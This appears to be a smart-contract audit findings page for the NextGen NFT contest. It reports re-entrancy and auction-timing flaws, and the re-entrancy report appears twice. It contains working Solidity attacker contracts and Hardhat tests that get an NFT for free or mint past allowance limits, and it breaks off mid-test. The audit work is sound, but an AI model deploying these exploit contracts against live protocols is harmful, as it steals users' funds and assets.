NextGen - sl1's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254

Vulnerability details

Impact

Multiple re-entrancy issues exist in the codebase, that break core functionality and allow stealing of user funds. In AuctionDemo.sol contract re-entrancy in cancelBid and cancelAllBids allows stealing of user funds. There are multiple attack surfaces, which include a winner of the auction refunding all of his money and receiving NFT for free, and which also include a possiblity of a malicious bidder to refund 2x of his money. Here is the code snippent that transfers NFT to the winner and pays owner money for that NFT:

IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);

If highestBidder is a contract that implements onIERC721Received, in the callback to that contract highestBidder can call cancelAllBids, which will refund him all of his money back, leaving him with a free NFT. It may leave the contract with no funds, but all other calls that transfer money won't revert, since there are no checks on return value of those calls. Impact of that would be that either owner or other bidders won't receive their money back.

Another attack surface that exists in AuctionDemo.sol allows a bidder to refund 2x of his bid. In the else if block of the claimAuction unsuccessful bidders are refunded:

else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

If the bidder is a smart contract, it can implement a receive function, that will call cancelAllBids when money are transferred to them. The impact would be that the last bidder in the array would not receive his funds, because someone already claimed them.

Cross-contract re-entrancy also exists in MinterContract.sol and NextGenCore.sol. In order for a user to mint an NFT, he has to call MinterContract::mint(), which will call mint() on NextGenCore. mint() function of the core contract calls _mintProccesing before updating important state that is responsible for keeping track of minted NFT's.

 _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

_mintProccesing calls safeMint() which will trigger the callback to onIERC721Received, in which a malicious user can call mint on the MinterContract again. Because state variables tokensMintedPerAddress and/or tokensMintedAllowlistAddress were not updated before that call, a user can essentially mint more NFT that he is allowed to according to maxAllowance. This checks in the MinterContract will be bypassed:

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

The impact is that user can mint more than maxAllowance in the allowlistMint and in the public sale.

Proof of Concept

To test re-entrancy in AuctionDemo.sol you need to create this smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {auctionDemo} from "../AuctionDemo.sol";
import "../IERC721Receiver.sol";

contract AuctionWinnerReentrancy is IERC721Receiver {
    auctionDemo public auction;
    uint256 public tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function setTokenId(uint256 _tokenId) external {
        tokenId = _tokenId;
    }

    function enterAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claimPrize() external {
        auction.claimAuction(tokenId);
    }

    function withdraw() external {
        (bool success, ) = payable(msg.sender).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function onERC721Received(
        address _sender,
        address _from,
        uint256 _tokenId,
        bytes memory _data
    ) external override returns (bytes4) {
        (, , bool status) = auction.auctionInfoData(tokenId, 0);
        if (status == true) {
            auction.cancelAllBids(tokenId);
        }
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Then you would need to deploy it in fixtureDeployments.js with AuctionDemo.sol:

// Deploy Winner attacker contract
  const winnerAttacker = await ethers.getContractFactory(
    "AuctionWinnerReentrancy"
  );
  const hhWinnerAttacker = await winnerAttacker.deploy(
    await hhAuction.getAddress()
  );
 // Deploy Auction Demo
  const auctionDemo = await ethers.getContractFactory("auctionDemo");
  const hhAuction = await auctionDemo.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress()
  );

And then add those to the contracts in fixtureDeployments:

  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhWinnerAttacker: hhWinnerAttacker, <----- @audit
  };

Here is the test case demonstrating this issue:

context("Re-entrancy", () => {
it("#Winner of the auction re-enters and gets NFT for free", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        "'auction'",
        0 /*saltfun */,
        1 /* collection id */,
        1796931278 /* auctionEndTime */
      );
      const tokenIndex = 10000000000;
      await contracts.hhCore
        .connect(signers.addr1)
        .approve(await contracts.hhAuction.getAddress(), tokenIndex);

      await contracts.hhWinnerAttacker.setTokenId(tokenIndex);
      // An attacker enters with 1 ETH
      await contracts.hhWinnerAttacker
        .connect(signers.addr2)
        .enterAuction({ value: BigInt(1000000000000000000) });

      const balanceOfAttackerBeforeAttack = await ethers.provider.getBalance(
        await contracts.hhWinnerAttacker.getAddress()
      );
      await expect(balanceOfAttackerBeforeAttack.toString()).to.equal("0");
      // Skip to (auctionEndTime - 1)
      await network.provider.send("evm_setNextBlockTimestamp", [1796931277]);
      await network.provider.send("evm_mine");
      // Claim prize
      await contracts.hhWinnerAttacker.claimPrize();
      // Now attacker is the owner of the token
      const owner = await contracts.hhCore.ownerOf(tokenIndex);
      await expect(owner).to.equal(
        await contracts.hhWinnerAttacker.getAddress()
      );

      // And attacker successfully refunded his 1 ETH
      const balanceOfAttackerAfterAttack = await ethers.provider.getBalance(
        await contracts.hhWinnerAttacker.getAddress()
      );
      await expect(balanceOfAttackerAfterAttack.toString()).to.equal(
        BigInt(1000000000000000000).toString()
      );
    });
}

Please add it to nextGenTest.js and run with npx hardhat test --grep "Re-entrancy".

In order to test re-entrancy while minting, create this smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {NextGenMinterContract} from "../MinterContract.sol";
import "../IERC721Receiver.sol";
import {NextGenCore} from "../NextGenCore.sol";

contract MinterContractReentrancy is IERC721Receiver {
    NextGenMinterContract public minter;
    NextGenCore public core;
    uint256 public balance;
    uint256 public _collectionId;
    bytes32[] proof;

    constructor(address _minter, address _core) {
        minter = NextGenMinterContract(_minter);
        core = NextGenCore(_core);
    }

    function setCollection(uint256 id) external {
        _collectionId = id;
    }

    function fund() external payable {
        balance += msg.value;
    }

    function calculateMintIndex() public view returns (uint256) {
        // Returns current mint index
        uint256 mintIndex = core.viewTokensIndexMin(_collectionId) +
            core.viewCirSupply(_collectionId);

        return mintIndex;
    }

    function exploit(
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable {
        uint256 currentPrice = minter.getPrice(_collectionId);
        uint256 value;
        if (_numberOfTokens > 1) {
            value = currentPrice * _numberOfTokens;
        }
        // Doing this so there are funds left for re-entrant calls
        require(msg.value >= value);
        minter.mint{value: msg.value}(
            _collectionId,
            _numberOfTokens,
            _maxAllowance,
            _tokenData,
            _mintTo,
            merkleProof,
            _delegator,
            _saltfun_o
        );
    }

    function onERC721Received(
        address /*_sender,*/,
        address /*_from,*/,
        uint256 /*_tokenId,*/,
        bytes memory /*_data */
    ) external override returns (bytes4) {
        // Get the price of 1 nft
        uint256 currentPrice = minter.getPrice(_collectionId);
        // Do it while there is enough money and until tokensIndexMax is reached
        while (
            balance >= currentPrice &&
            calculateMintIndex() < core.viewTokensIndexMax(_collectionId)
        ) {
            balance -= currentPrice;
            minter.mint{value: currentPrice}(
                _collectionId,
                1,
                0,
                '{"tdh": "100"}',
                address(this),
                proof,
                address(0),
                0
            );
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Deploy it:

  // Deploy minter-reentrancy contract
  const minterReentrancy = await ethers.getContractFactory(
    "MinterContractReentrancy"
  );
  const hhMinterAttacker = await minterReentrancy.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress()
  );
 
  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhMinterAttacker: hhMinterAttacker, <----- @audit
  };

Add this test to Re-entrancy context:

it("#Minter can re-enter and mint more than the maxAllowance", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      const addressAttacker = await contracts.hhMinterAttacker.getAddress();

      await contracts.hhMinterAttacker.setCollection(1);
      await contracts.hhMinterAttacker.fund({
        value: BigInt(4000000000000000000),
      });

      // While maxCollectionPurchase is 2, a malicious user was able to end up with 6 minted tokens
      await contracts.hhMinterAttacker.exploit(
        2, // number of tokens
        0, // maxAllownace
        '{"tdh": "100"}', // tokendata
        addressAttacker, // mintto
        ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // merkleRoot
        "0x0000000000000000000000000000000000000000", // delegator
        2, // varg0
        { value: BigInt(2000000000000000000) }
      );

      const balance = await contracts.hhCore.balanceOf(addressAttacker);
      expect(balance.toString()).to.equal("6");
    });

Tools Used

Manual review

Recommended Mitigation Steps

Add a re-entrancy guard, put non-reentrant modifier on mint in MinterContract and on cancelBid, cancelAllBids in AuctionDemo.sol. Adhere to the check-effect interaction pattern. When claim happens in claimAuction set the auctionInfoData[_tokenid][i].status to false, so the check in cancelBid will fail. In mint function of NextGenCore, call _mintProccesing after the state is updated.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254

Vulnerability details

Impact

Multiple re-entrancy issues exist in the codebase, that break core functionality and allow stealing of user funds. In AuctionDemo.sol contract re-entrancy in cancelBid and cancelAllBids allows stealing of user funds. There are multiple attack surfaces, which include a winner of the auction refunding all of his money and receiving NFT for free, and which also include a possiblity of a malicious bidder to refund 2x of his money. Here is the code snippent that transfers NFT to the winner and pays owner money for that NFT:

IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);

If highestBidder is a contract that implements onIERC721Received, in the callback to that contract highestBidder can call cancelAllBids, which will refund him all of his money back, leaving him with a free NFT. It may leave the contract with no funds, but all other calls that transfer money won't revert, since there are no checks on return value of those calls. Impact of that would be that either owner or other bidders won't receive their money back.

Another attack surface that exists in AuctionDemo.sol allows a bidder to refund 2x of his bid. In the else if block of the claimAuction unsuccessful bidders are refunded:

else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

If the bidder is a smart contract, it can implement a receive function, that will call cancelAllBids when money are transferred to them. The impact would be that the last bidder in the array would not receive his funds, because someone already claimed them.

Cross-contract re-entrancy also exists in MinterContract.sol and NextGenCore.sol. In order for a user to mint an NFT, he has to call MinterContract::mint(), which will call mint() on NextGenCore. mint() function of the core contract calls _mintProccesing before updating important state that is responsible for keeping track of minted NFT's.

 _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

_mintProccesing calls safeMint() which will trigger the callback to onIERC721Received, in which a malicious user can call mint on the MinterContract again. Because state variables tokensMintedPerAddress and/or tokensMintedAllowlistAddress were not updated before that call, a user can essentially mint more NFT that he is allowed to according to maxAllowance. This checks in the MinterContract will be bypassed:

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

The impact is that user can mint more than maxAllowance in the allowlistMint and in the public sale.

Proof of Concept

To test re-entrancy in AuctionDemo.sol you need to create this smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {auctionDemo} from "../AuctionDemo.sol";
import "../IERC721Receiver.sol";

contract AuctionWinnerReentrancy is IERC721Receiver {
    auctionDemo public auction;
    uint256 public tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function setTokenId(uint256 _tokenId) external {
        tokenId = _tokenId;
    }

    function enterAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claimPrize() external {
        auction.claimAuction(tokenId);
    }

    function withdraw() external {
        (bool success, ) = payable(msg.sender).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function onERC721Received(
        address _sender,
        address _from,
        uint256 _tokenId,
        bytes memory _data
    ) external override returns (bytes4) {
        (, , bool status) = auction.auctionInfoData(tokenId, 0);
        if (status == true) {
            auction.cancelAllBids(tokenId);
        }
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Then you would need to deploy it in fixtureDeployments.js with AuctionDemo.sol:

// Deploy Winner attacker contract
  const winnerAttacker = await ethers.getContractFactory(
    "AuctionWinnerReentrancy"
  );
  const hhWinnerAttacker = await winnerAttacker.deploy(
    await hhAuction.getAddress()
  );
 // Deploy Auction Demo
  const auctionDemo = await ethers.getContractFactory("auctionDemo");
  const hhAuction = await auctionDemo.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress()
  );

And then add those to the contracts in fixtureDeployments:

  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhWinnerAttacker: hhWinnerAttacker, <----- @audit
  };

Here is the test case demonstrating this issue:

context("Re-entrancy", () => {
it("#Winner of the auction re-enters and gets NFT for free", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        "'auction'",
        0 /*saltfun */,
        1 /* collection id */,
        1796931278 /* auctionEndTime */
      );
      const tokenIndex = 10000000000;
      await contracts.hhCore
        .connect(signers.addr1)
        .approve(await contracts.hhAuction.getAddress(), tokenIndex);

      await contracts.hhWinnerAttacker.setTokenId(tokenIndex);
      // An attacker enters with 1 ETH
      await contracts.hhWinnerAttacker
        .connect(signers.addr2)
        .enterAuction({ value: BigInt(1000000000000000000) });

      const balanceOfAttackerBeforeAttack = await ethers.provider.getBalance(
        await contracts.hhWinnerAttacker.getAddress()
      );
      await expect(balanceOfAttackerBeforeAttack.toString()).to.equal("0");
      // Skip to (auctionEndTime - 1)
      await network.provider.send("evm_setNextBlockTimestamp", [1796931277]);
      await network.provider.send("evm_mine");
      // Claim prize
      await contracts.hhWinnerAttacker.claimPrize();
      // Now attacker is the owner of the token
      const owner = await contracts.hhCore.ownerOf(tokenIndex);
      await expect(owner).to.equal(
        await contracts.hhWinnerAttacker.getAddress()
      );

      // And attacker successfully refunded his 1 ETH
      const balanceOfAttackerAfterAttack = await ethers.provider.getBalance(
        await contracts.hhWinnerAttacker.getAddress()
      );
      await expect(balanceOfAttackerAfterAttack.toString()).to.equal(
        BigInt(1000000000000000000).toString()
      );
    });
}

Please add it to nextGenTest.js and run with npx hardhat test --grep "Re-entrancy".

In order to test re-entrancy while minting, create this smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {NextGenMinterContract} from "../MinterContract.sol";
import "../IERC721Receiver.sol";
import {NextGenCore} from "../NextGenCore.sol";

contract MinterContractReentrancy is IERC721Receiver {
    NextGenMinterContract public minter;
    NextGenCore public core;
    uint256 public balance;
    uint256 public _collectionId;
    bytes32[] proof;

    constructor(address _minter, address _core) {
        minter = NextGenMinterContract(_minter);
        core = NextGenCore(_core);
    }

    function setCollection(uint256 id) external {
        _collectionId = id;
    }

    function fund() external payable {
        balance += msg.value;
    }

    function calculateMintIndex() public view returns (uint256) {
        // Returns current mint index
        uint256 mintIndex = core.viewTokensIndexMin(_collectionId) +
            core.viewCirSupply(_collectionId);

        return mintIndex;
    }

    function exploit(
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable {
        uint256 currentPrice = minter.getPrice(_collectionId);
        uint256 value;
        if (_numberOfTokens > 1) {
            value = currentPrice * _numberOfTokens;
        }
        // Doing this so there are funds left for re-entrant calls
        require(msg.value >= value);
        minter.mint{value: msg.value}(
            _collectionId,
            _numberOfTokens,
            _maxAllowance,
            _tokenData,
            _mintTo,
            merkleProof,
            _delegator,
            _saltfun_o
        );
    }

    function onERC721Received(
        address /*_sender,*/,
        address /*_from,*/,
        uint256 /*_tokenId,*/,
        bytes memory /*_data */
    ) external override returns (bytes4) {
        // Get the price of 1 nft
        uint256 currentPrice = minter.getPrice(_collectionId);
        // Do it while there is enough money and until tokensIndexMax is reached
        while (
            balance >= currentPrice &&
            calculateMintIndex() < core.viewTokensIndexMax(_collectionId)
        ) {
            balance -= currentPrice;
            minter.mint{value: currentPrice}(
                _collectionId,
                1,
                0,
                '{"tdh": "100"}',
                address(this),
                proof,
                address(0),
                0
            );
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Deploy it:

  // Deploy minter-reentrancy contract
  const minterReentrancy = await ethers.getContractFactory(
    "MinterContractReentrancy"
  );
  const hhMinterAttacker = await minterReentrancy.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress()
  );
 
  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhMinterAttacker: hhMinterAttacker, <----- @audit
  };

Add this test to Re-entrancy context:

it("#Minter can re-enter and mint more than the maxAllowance", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
      );
      await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        BigInt(1000000000000000000), // _collectionMintCost
        BigInt(1000000000000000000), // _collectionEndMintCost
        0, // _rate
        600, // _timePeriod
        1, // _salesOptions
        "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
      );

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
      );

      const addressAttacker = await contracts.hhMinterAttacker.getAddress();

      await contracts.hhMinterAttacker.setCollection(1);
      await contracts.hhMinterAttacker.fund({
        value: BigInt(4000000000000000000),
      });

      // While maxCollectionPurchase is 2, a malicious user was able to end up with 6 minted tokens
      await contracts.hhMinterAttacker.exploit(
        2, // number of tokens
        0, // maxAllownace
        '{"tdh": "100"}', // tokendata
        addressAttacker, // mintto
        ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // merkleRoot
        "0x0000000000000000000000000000000000000000", // delegator
        2, // varg0
        { value: BigInt(2000000000000000000) }
      );

      const balance = await contracts.hhCore.balanceOf(addressAttacker);
      expect(balance.toString()).to.equal("6");
    });

Tools Used

Manual review

Recommended Mitigation Steps

Add a re-entrancy guard, put non-reentrant modifier on mint in MinterContract and on cancelBid, cancelAllBids in AuctionDemo.sol. Adhere to the check-effect interaction pattern. When claim happens in claimAuction set the auctionInfoData[_tokenid][i].status to false, so the check in cancelBid will fail. In mint function of NextGenCore, call _mintProccesing after the state is updated.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Impact

AuctionDemo.sol contract offers an auction functionality to sell an NFT token. Users can bid on the token and the highest bidder will receive the NFT. Currently there exist a possibility to manipulate the auction in order to receive the NFT cheaper than its actual value, or to grief every auction to be unsuccessful. In order to participate in auction, user has to call participateToAuction:

require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

This require check exists to enusre that auction is live and has not yet ended and also to ensure user provides a value greater than the current highest bid.

An auction can go wrong in a few ways, but consider one that is the most impactful: Let's say that the real price of the NFT being auctioned is somewhere around 5 ETH.

• mintAndAuction is called on minterContract to start an auction for a week.
• A malicious user sees that transaction and backruns it with a call to participateToAuction
• When calling participateToAuction a malicious user provides an absurd msg.value, way greater than the price of NFT
• Because of that absurd msg.value nobody wants to join, since the highest bid is too absurd to even try to compete for a 5 ETH NFT.
• A week passes, and right at the end of the auction malicious bidder calls cancelBid, participateToAuction and claimAuction all in one transaction.
• Becuase in all of these functions the require check is inclusive of the auction end time, it is possible to call them in one transaction right when the auction ends. The catch is that when doing so, a malicious user can provide any msg.value, since there are no other participants in this auction and he just cancelled his initial bid. The impact would be that he received an NFT worth 5 ETH for free, since he can provide even 1 wei of ETH in his second transaction.

Proof of Concept

As you can see, all of the require checks are inclusive of the auctionEndTime, which makes it possible to call these functions at the end of the auction.

 function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

  function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

To test this please create this solidity file:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import {auctionDemo} from "../AuctionDemo.sol";
import {IERC721Receiver} from "../IERC721Receiver.sol";

contract AuctionGriefing is IERC721Receiver {
    auctionDemo public auction;
    uint256 public tokenId;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function setTokenId(uint256 _tokenId) external {
        tokenId = _tokenId;
    }

    function enterAuction() external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function exploit() external payable {
        auction.cancelAllBids(tokenId);
        auction.participateToAuction{value: msg.value}(tokenId);
        auction.claimAuction(tokenId);
    }

    function withdraw() external {
        (bool success, ) = payable(msg.sender).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function onERC721Received(
        address _sender,
        address _from,
        uint256 _tokenId,
        bytes memory _data
    ) external override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Deploy this contract in fixturesDeployment.js along with auction contract:

  // Deploy auctionGriefing contract
  const griefAttacker = await ethers.getContractFactory("AuctionGriefing");
  const hhGriefer = await griefAttacker.deploy(await hhAuction.getAddress());
  // Deploy Auction Demo
  const auctionDemo = await ethers.getContractFactory("auctionDemo");
  const hhAuction = await auctionDemo.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress()
  );


  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhAuction: hhAuction, <----- @audit
    hhGriefer: hhGriefer, <----- @audit
  };

Add this test to nextGen.test.js:

context("Auction griefing", () => {
    it("#A malicious user can get NFT for almost free", async function () {
      /* Set up collection */
      await contracts.hhCore.addMinterContract(contracts.hhMinter);
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"]
      );
      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true
      );
      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0 // _setFinalSupplyTimeAfterMint
